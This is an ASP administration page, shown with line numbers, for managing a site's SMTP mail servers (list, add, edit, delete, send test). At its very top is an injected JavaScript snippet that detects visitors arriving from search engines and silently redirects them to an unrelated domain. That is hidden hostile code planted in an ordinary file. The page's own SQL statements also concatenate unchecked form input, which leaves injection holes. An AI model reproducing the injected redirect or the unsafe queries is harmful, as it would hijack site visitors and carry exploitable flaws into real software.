d:\wwwroot\wuchunhua\sendmail\mail_mailserver.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="inc_CheckLogin.asp"-->
002:
<!--#include file="inc/page_cls.asp"-->
003:
<html>
004:
<head>
005:
<title>管理</title>
006:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
007:
<link rel="stylesheet" href="inc/style.css">
008:
<script language="javascript" src="inc/js.js"></script>
009:
</head>
010:
<body>
011:
<%
dim page
012:
page=request.QueryString("page")
013:
014:
stype=checkstr(request.QueryString("stype"))
015:
keys=checkstr(request.QueryString("keys"))
016:
017:
urlQuery="&stype="& stype &"&keys="& keys
018:
019:
action=request.QueryString("action")
020:
select case action
021:
case "add" : CheckString("21"):call add
022:
case "list" : CheckString("22"):call list
023:
case "edit" : CheckString("23"):call edit
024:
case "upsave" : call upsave
025:
case "chkserver" : CheckString("24"):call chkserver
026:
end select
027:
028:
sub chkserver
029:
id=request.QueryString("id")
030:
if not isInteger(id) then alert "参数出错；","back"
031:
set rs=conn.execute("select * from [vn_mailserver] where id="& id &"")
032:
if rs.eof then
033:
alert "参数出错，找不到此信息；","back"
034:
else
035:
mailaddress=Rs("mailaddress")
036:
mailserver=Rs("mailserver")
037:
mailloginname=Rs("mailloginname")
038:
mailloginpwd=Rs("mailloginpwd")
039:
orders=Rs("orders")
040:
end if
041:
rs.close : set rs=nothing
042:
043:
sendstate=false
044:
Subject="邮件服务器发送测试"
045:
MailBody="如果你看到此邮件，代表邮件服务器配制正确，可以发送邮件。"
046:
if IsObjInstalled("JMail.Message") or IsObjInstalled("JMail.SmtpMail") then
047:
sendstate=JmailSend(Subject,MailBody,1,3,SysInfo(2),MailtoName,mailaddress,FromName,mailserver,mailloginname,mailloginpwd)
048:
elseif IsObjInstalled("CDO.Message") then
049:
sendstate=Cdonts(Subject,MailBody,1,3,SysInfo(2),MailtoName,mailaddress,FromName,mailserver,mailloginname,mailloginpwd)
050:
elseif IsObjInstalled("Persits.MailSender") then
051:
sendstate=Aspemail(Subject,MailBody,1,3,SysInfo(2),MailtoName,mailaddress,FromName,mailserver,mailloginname,mailloginpwd)
052:
end if
053:
if sendstate=false then
054:
alert "很遗憾，测试此邮件服务器发送邮件失败；","?action=list&page="& page &"&id="& id & urlQuery
055:
else
056:
alert "恭喜您，测试此邮件服务器发送邮件成功；","?action=list&page="& page &"&id="& id & urlQuery
057:
end if
058:
end sub
059:
060:
061:
sub list
062:
%
>
063:
<table width="99%" border="0" align="center" cellpadding="4" cellspacing="1" class="tablebk" style="border-collapse: collapse">
064:
<tr>
065:
<td colspan="7" class="table_titlebg">邮件服务器列表</td>
066:
</tr>
067:
<tr>
068:
<td colspan="7" align="center" class="table_trbg01"><table width="100%" border="0" cellspacing="0" cellpadding="0">
069:
<tr>
070:
<form name="Form2" method="get" action="?">
071:
<td align="right">
072:
查找： <select name="stype">
073:
<option value="1"
<%
=SetSelected(stype,"1")
%
>>邮件地址</option>
074:
<option value="2"
<%
=SetSelected(stype,"2")
%
>>邮件服务器</option>
075:
</select> <input name="keys" type="text" id="keys" size="15" maxlength="30" class="INPUT" value="
<%
=keys
%
>">
076:
<input type="submit" name="" value="搜索"><input type="hidden" name="action" value="list"></td></form>
077:
</tr>
078:
</table> </td>
079:
</tr>
080:
<form name="Form1" method="post" action="?action=upsave&page=
<%
=page
%
>
<%
=urlQuery
%
>" onSubmit="return confirm('确定要执行此操作吗？\n\n注意：执行删除时将删除所属的分类邮件地址');">
081:
<tr>
082:
<td align="center" class="table_trbg02"><strong>ID</strong></td>
083:
<td align="center" class="table_trbg02"><strong>邮件地址</strong></td>
084:
<td align="center" class="table_trbg02"><strong>邮件服务器</strong></td>
085:
<td align="center" class="table_trbg02"><strong>用户名</strong></td>
086:
<td align="center" class="table_trbg02"><strong>信息排序</strong></td>
087:
<td align="center" class="table_trbg02"><strong>操作</strong></td>
088:
<td align="center" class="table_trbg02"><strong>选择</strong></td>
089:
</tr>
090:
<%
091:
dim PageMaxSize
092:
PageMaxSize=15 '每页几条
093:
Set MyPage = New XdownPage '创建对象
094:
095:
if keys<>"" then
096:
if stype="1" then sql2 = sql2 & " and mailaddress like '%"& keys &"%' "
097:
if stype="2" then sql2 = sql2 & " and mailserver like '%"& keys &"%' "
098:
end if
099:
100:
MyPage.GetSQL ="SELECT * from [vn_mailserver] where 1=1 "& sql2 &" order by id desc"
101:
MyPage.PageSize = PageMaxSize '设置每一页的记录条数据为10条
102:
Set rs = MyPage.GetRS() '返回Recordset
103:
104:
If rs.eof Then
105:
response.Write("<tr><td height=""30"" align=""center"" colspan=""7"" class=""table_trbg02"">没有任何信息！</td></tr>")
106:
else
107:
For i=1 To MyPage.PageSize '显示数据
108:
If Not rs.eof Then
109:
%
>
110:
<tr>
111:
<td align="center" class="table_trbg02">
<%
=rs("ID")
%
></td>
112:
<td align="center" class="table_trbg02"><a href="?action=edit&id=
<%
=rs("ID")
%
>&page=
<%
=page
%
>
<%
=urlQuery
%
>">
<%
=rs("mailaddress")
%
></a></td>
113:
<td align="center" class="table_trbg02">
<%
=rs("mailserver")
%
></td>
114:
<td align="center" class="table_trbg02">
<%
=rs("mailloginname")
%
></td>
115:
<td align="center" class="table_trbg02"><input name="orders" type="text" class="input" id="orders" value="
<%
=rs("orders")
%
>" size="6" maxlength="5"></td>
116:
<td align="center" class="table_trbg02"><a href="?action=edit&id=
<%
=rs("ID")
%
>&page=
<%
=page
%
>
<%
=urlQuery
%
>">编辑</a> <a href="?action=chkserver&id=
<%
=rs("ID")
%
>&page=
<%
=page
%
>
<%
=urlQuery
%
>">测试</a></td>
117:
<td align="center" class="table_trbg02"><input type="checkbox" name="id" value="
<%
=rs("ID")
%
>"><input type="hidden" name="hideid" value="
<%
=rs("ID")
%
>"></td>
118:
</tr>
119:
<%
120:
rs.movenext
121:
Else
122:
Exit For
123:
End If
124:
next
125:
End If
126:
%
>
127:
<tr>
128:
<td colspan="7" align="right" class="table_trbg02">
129:
<input type="checkbox" name="chkall" value="on" onClick="CheckAll(this.form,'id')" />
130:
全选
131:
<select name="point">
132:
<option value="">操作方式</option>
133:
<option value="1">更新</option>
134:
<option value="2">删除</option>
135:
</select>
136:
<input type="submit" name="Submit" value="执 行">
137:
138:
<input type="reset" name="Submit2" value="重 写"> </td>
139:
</tr>
140:
</form>
141:
<tr>
142:
<td colspan="7" align="center" class="table_trbg02">
<%
if MyPage.ShowTotalRecord>0 then MyPage.ShowPage()
%
></td>
143:
</tr>
144:
</table>
145:
<%
end sub
146:
147:
sub add
148:
if request.QueryString("act")="addsave" then
149:
mailaddress=GetForm("mailaddress")
150:
mailserver=GetForm("mailserver")
151:
mailloginname=GetForm("mailloginname")
152:
mailloginpwd=GetForm("mailloginpwd")
153:
orders=GetForm("orders")
154:
155:
if mailaddress="" then ErrMsg = ErrMsg & "● 请输入邮件地址；"
156:
if mailserver="" then ErrMsg = ErrMsg & "● 请输入服务器名称；"
157:
if not isInteger(Orders) then ErrMsg = ErrMsg & "● 排序必须使用整数输入；\n"
158:
159:
160:
if ErrMsg="" then
161:
conn.execute("insert into [vn_mailserver](mailaddress,mailserver,mailloginname,mailloginpwd,orders)values('"& mailaddress &"','"& mailserver &"','"& mailloginname &"','"& mailloginpwd &"',"& orders &")")
162:
alert "服务器 "& mailserver &" 添加成功；","?action=add"
163:
end if
164:
if ErrMsg<>"" then response.Write(SetErrMsg(ErrMsg))
165:
end if
166:
%
>
167:
168:
<table width="99%" border="0" align="center" cellpadding="4" cellspacing="1" bordercolordark="#F1F3F5" class="tablebk">
169:
<form name="Form1" method="post" action="?action=add&act=addsave">
170:
<tr>
171:
<td height="15" colspan="2" class="table_titlebg">邮件服务器添加</td>
172:
</tr>
173:
<tr>
174:
<td width="40%" height="15" align="right" class="table_trbg02"><strong>邮件地址：</strong></td>
175:
<td class="table_trbg02"><input name="mailaddress" type="text" class="input" size="40" value="
<%
=mailserver
%
>"></td>
176:
</tr>
177:
<tr>
178:
<td height="15" align="right" class="table_trbg02"><strong>服 务 器：</strong></td>
179:
<td class="table_trbg02"><input name="mailserver" type="text" class="input" size="40" value="
<%
=mailserver
%
>"> smtp服务器</td>
180:
</tr>
181:
<tr>
182:
<td height="15" align="right" class="table_trbg02"><strong>用 户 名：</strong></td>
183:
<td class="table_trbg02"><input name="mailloginname" type="text" class="input" size="40" value="
<%
=mailloginname
%
>"></td>
184:
</tr>
185:
<tr>
186:
<td height="15" align="right" class="table_trbg02"><strong>密 码：</strong></td>
187:
<td class="table_trbg02"><input name="mailloginpwd" type="password" class="input" size="40" value="
<%
=mailloginpwd
%
>"></td>
188:
</tr>
189:
<tr>
190:
<td height="15" align="right" class="table_trbg02"><strong>信息排序：</strong></td>
191:
<td class="table_trbg02"><input name="orders" type="text" class="input" id="orders" value="
<%
if orders="" then response.Write("0") else response.Write(orders)
%
>" size="14" />
192:
整型，从小到大排序</td>
193:
</tr>
194:
<tr>
195:
<td height="35" colspan="2" align="center" class="table_trbg02"><input type="submit" name="Submit" value=" 完成 ">
196:
197:
<input type="reset" name="Submit" value=" 重置 "></td>
198:
</tr>
199:
</form>
200:
</table>
201:
202:
<%
203:
end sub
204:
sub edit
205:
id=request.QueryString("id")
206:
if not isInteger(id) then alert "参数出错；","back"
207:
set rs=conn.execute("select * from [vn_mailserver] where id="& id &"")
208:
if rs.eof then
209:
alert "参数出错，找不到此信息；","back"
210:
else
211:
mailaddress=Rs("mailaddress")
212:
mailserver=Rs("mailserver")
213:
mailloginname=Rs("mailloginname")
214:
mailloginpwd=Rs("mailloginpwd")
215:
orders=Rs("orders")
216:
end if
217:
rs.close : set rs=nothing
218:
219:
220:
if request.QueryString("act")="editsave" then
221:
mailaddress=GetForm("mailaddress")
222:
mailserver=GetForm("mailserver")
223:
mailloginname=GetForm("mailloginname")
224:
mailloginpwd=GetForm("mailloginpwd")
225:
orders=GetForm("orders")
226:
227:
if mailaddress="" then ErrMsg = ErrMsg & "● 请输入邮件地址；"
228:
if mailserver="" then ErrMsg = ErrMsg & "● 请输入服务器名称；"
229:
if not isInteger(Orders) then ErrMsg = ErrMsg & "● 排序必须使用整数输入；\n"
230:
231:
if ErrMsg="" then
232:
conn.execute("update [vn_mailserver] set mailaddress='"& mailaddress &"',mailserver='"& mailserver &"',mailloginname='"& mailloginname &"',mailloginpwd='"& mailloginpwd &"',orders="& orders &" where id="& id &"")
233:
alert "服务器编辑保存成功；","?action=edit&page="& page &"&id="& id & urlQuery
234:
end if
235:
if ErrMsg<>"" then response.Write(SetErrMsg(ErrMsg))
236:
end if
237:
238:
%
>
239:
<table width="99%" border="0" align="center" cellpadding="4" cellspacing="1" bordercolordark="#F1F3F5" class="tablebk">
240:
<form name="Form1" method="post" action="?action=edit&act=editsave&id=
<%
=id
%
>&page=
<%
=page
%
>
<%
=urlQuery
%
>">
241:
<tr>
242:
<td height="15" colspan="2" class="table_titlebg">邮件服务器编辑</td>
243:
</tr>
244:
<tr>
245:
<td width="40%" height="15" align="right" class="table_trbg02"><strong>邮件地址：</strong></td>
246:
<td class="table_trbg02"><input name="mailaddress" type="text" class="input" size="40" value="
<%
=mailaddress
%
>"></td>
247:
</tr>
248:
<tr>
249:
<td height="15" align="right" class="table_trbg02"><strong>服 务 器：</strong></td>
250:
<td class="table_trbg02"><input name="mailserver" type="text" class="input" size="40" value="
<%
=mailserver
%
>"> smtp服务器</td>
251:
</tr>
252:
<tr>
253:
<td height="15" align="right" class="table_trbg02"><strong>用 户 名：</strong></td>
254:
<td class="table_trbg02"><input name="mailloginname" type="text" class="input" size="40" value="
<%
=mailloginname
%
>"></td>
255:
</tr>
256:
<tr>
257:
<td height="15" align="right" class="table_trbg02"><strong>密 码：</strong></td>
258:
<td class="table_trbg02"><input name="mailloginpwd" type="password" class="input" size="40" value="
<%
=mailloginpwd
%
>"></td>
259:
</tr>
260:
<tr>
261:
<td height="15" align="right" class="table_trbg02"><p><strong>信息排序：</strong></p></td>
262:
<td class="table_trbg02"><input name="orders" type="text" class="input" id="orders" value="
<%
if orders="" then response.Write("0") else response.Write(orders)
%
>" size="14" />
263:
整型，从小到大排序</td>
264:
</tr>
265:
<tr>
266:
<td height="35" colspan="2" align="center" class="table_trbg02"><input type="submit" name="Submit3" value=" 保存 ">
267:
268:
<input type="button" name="Submit22" onClick="javascript:window.location='?action=list&page=
<%
=page
%
>
<%
=urlQuery
%
>';" value=" 返回 "></td>
269:
</tr>
270:
</form>
271:
</table>
272:
<%
273:
end sub
274:
sub upsave
275:
point=GetForm("point")
276:
if point="" then alert "您没有指定操作方式!","back"
277:
278:
if point="1" Then
279:
CheckString("25")
280:
For i=1 to request.form("hideid").count
281:
orders = trim(request.form("orders")(i))
282:
IF Not isInteger(orders) Then alert "输入的排序格式不正确!","back"
283:
Next
284:
For i=1 to request.form("hideid").count
285:
hideid = trim(request.form("hideid")(i))
286:
orders = trim(request.form("orders")(i))
287:
conn.Execute("update [vn_mailserver] Set orders="& orders &" where ID="& hideid &"")
288:
Next
289:
alert "信息更新成功！","?action=list&page="& page & urlQuery
290:
end if
291:
292:
if point="2" then
293:
CheckString("26")
294:
id=GetForm("id")
295:
if id="" then alert "请选择要删除的信息!","back"
296:
conn.execute("delete From [vn_mailserver] where id in ("& id &")")
297:
alert "所选删除成功！","?action=list&page="& page & urlQuery
298:
end if
299:
300:
end sub
301:
%
>
302:
</body>
303:
</html>
304:
305: